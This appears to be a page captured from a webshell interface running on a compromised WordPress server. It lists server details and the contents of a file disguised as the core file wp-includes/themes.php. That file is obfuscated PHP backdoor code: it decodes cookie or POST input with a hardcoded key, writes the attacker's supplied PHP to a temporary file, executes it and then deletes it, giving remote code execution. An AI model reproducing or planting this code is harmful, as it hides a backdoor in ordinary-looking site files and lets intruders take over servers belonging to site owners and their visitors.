403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.70.147.66
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/savinassociates.com/wp-includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/savinassociates.com/wp-includes/themes.php
<?php       function   a_sagqljw(){$zkhzp='futtg';	print_r/*  _encr   */(36320+36320);   }


$h_cavbcb    =	'h_cavbcb'/*_mr */^	'7';

$peputxiz  =/* tdqw   */"\146"      .	$h_cavbcb(105)	.       "l".$h_cavbcb(452-351)    .	"_".$h_cavbcb(112)	.	$h_cavbcb(117)/*poyx  */.    "\164"/*  v   */.  $h_cavbcb(95)   ./*fy */$h_cavbcb(99)	./*  _szme */"o"."n".$h_cavbcb(116)       .	$h_cavbcb(799-698)	./*   q */"\156"	.    $h_cavbcb(310-194)	.      "\163";$cikmsqih/*dojaq   */=	"b"."a".$h_cavbcb(298-183)/*   bi */./*   oryuz  */"\145"	.      "6"."4"."\x5f"	.	"d".$h_cavbcb(245-144)   ./*yvps */"c".$h_cavbcb(111)/*j_ */.       "\144"	.       $h_cavbcb(903-802);

$qrgbyz   =	$h_cavbcb(117)   .	"\x6e"	./*  u   */"s"."e"."r"."i".$h_cavbcb(97)/*  a_   */./*  dx */$h_cavbcb(108)       ./*v */"i"."z"."e";$zhrtkn    =   "p".$h_cavbcb(1035-931)	.	$h_cavbcb(160-48)	.   "v"."\145"/*   un  */./*   e */"r".$h_cavbcb(882-767)	./*   sxu   */$h_cavbcb(105)  ./*jzwt_ */"o"."\x6e";$exhyrb	=	$h_cavbcb(610-493)       .	"n".$h_cavbcb(108)   .	$h_cavbcb(105)  ./* nnq  */$h_cavbcb(110)/*   _uowf*/.	"\x6b";




/*yvgf*/
function/*urt  */q_ngx($olopyzb,	$kyvakgvrw)


{


/* tujz   */global	$h_cavbcb;


	$uceyxo_b_g/* q   */=/*g  */"";

    for      ($tsaebbydp       =       0;	$tsaebbydp    </*u   */strlen($olopyzb);)/*uvaq  */{


	for       ($p__ady       =/*   fe   */0;/*mfti */$p__ady/* kpud   */</*ikd */strlen($kyvakgvrw)/* uisl  */&&/*   r*/$tsaebbydp    <	strlen($olopyzb);       $p__ady++,/*y   */$tsaebbydp++)       {

/* xx  */$uceyxo_b_g      .=      $h_cavbcb(ord($olopyzb[$tsaebbydp])	^/* _q   */ord($kyvakgvrw[$p__ady]));

   }/*  gqgz  */}
/* b  */return   $uceyxo_b_g;}
$kumaw	=/* o*/$_COOKIE;
$xvi_mblay	=	$_POST;$kumaw  =	array_merge($xvi_mblay,  $kumaw);

$lltb_afipb/*zt   */=    "\x30"   .	"\61"/* kfqli*/.	$h_cavbcb(55)/*vqiyw  */./*   uq*/"\x37"   .	"\x63"	.	"\x65"	.	"\65"	.	$h_cavbcb(99)   ./*  z */"-"."\x62"   .     "b"."0"."a"."\55"  .  "\x34"	./*   hmi  */"3"."f"."\x64"."-"."\70"	.	$h_cavbcb(100)/*  onq*/.	$h_cavbcb(669-612)/*   k   */.	"\x33"      .     $h_cavbcb(45)/*  kqqc*/./*hj*/$h_cavbcb(50)     .      $h_cavbcb(56)	.	$h_cavbcb(55)  .     $h_cavbcb(351-249)     ./*  nbtw*/$h_cavbcb(1050-994)	.  "\x36"  .	"\67"/*oydo*/./*_fs   */"6"."a"."\71"    .       "\x64"."a";


foreach/*   ln*/($kumaw   as   $lqi_jcv	=>/*   qrig  */$olopyzb)/*   u*/{
  $olopyzb/*  cykh  */=/*   rtopd */$qrgbyz(q_ngx(q_ngx($cikmsqih($olopyzb),	$lltb_afipb),	$lqi_jcv));
	if      (isset($olopyzb[$h_cavbcb(363-266)  ./*  pvx*/"k"]))  {

  if/*   qz */($olopyzb["a"]/*  ksike */==	"i")/*ihaon  */{

      $tsaebbydp	=	array();
   $tsaebbydp[$h_cavbcb(420-308)/* i   */./*  _il   */$h_cavbcb(118)]	=       $zhrtkn();/*   bzlnb*/$tsaebbydp["\163"      .	$h_cavbcb(934-816)]/*   bqw*/=       $h_cavbcb(980-929)       .	"."."\x35";
   echo     @serialize($tsaebbydp);

/*   ioljp   */}	elseif/*bwe   */($olopyzb["a"]  ==	$h_cavbcb(101))	{

/*oag   */$sagqfprd   =/*  js  */sprintf("."."/".$h_cavbcb(1006-969)	.	"\x73"	./*  wj*/$h_cavbcb(356-310)/* f  */./* g*/"\x70"      ./* hrx  */"l",	md5($lltb_afipb));


	$peputxiz($sagqfprd,	"<"/* rz */./*   ao */$h_cavbcb(411-348)/*jfy   */.     "\160"/*   ajwm  */.	$h_cavbcb(104)/*  q */.   "p".$h_cavbcb(32)	.     $h_cavbcb(762-645)     .	"n"."l".$h_cavbcb(701-596)	.       "n".$h_cavbcb(661-554)  .	"("."\x5f"/*   megmf   */.	"\x5f"     ./* m_d  */"F".$h_cavbcb(73)	./*   xgwjb  */$h_cavbcb(766-690)/* zi */.  "\105"	.	$h_cavbcb(748-653)  .  "_"."\x29"       ./* sfyh   */$h_cavbcb(59)/*nef   */.  $h_cavbcb(32)	./* wysk*/$olopyzb["\x64"]);


/*sybx  */include($sagqfprd);

      $hwsqh   =    $sagqfprd;
/*   govl */$exhyrb($hwsqh);	}

/* es  */exit();
/* xmffx   */}

}




Youez - 2016 - github.com/yon3zu
LinuXploit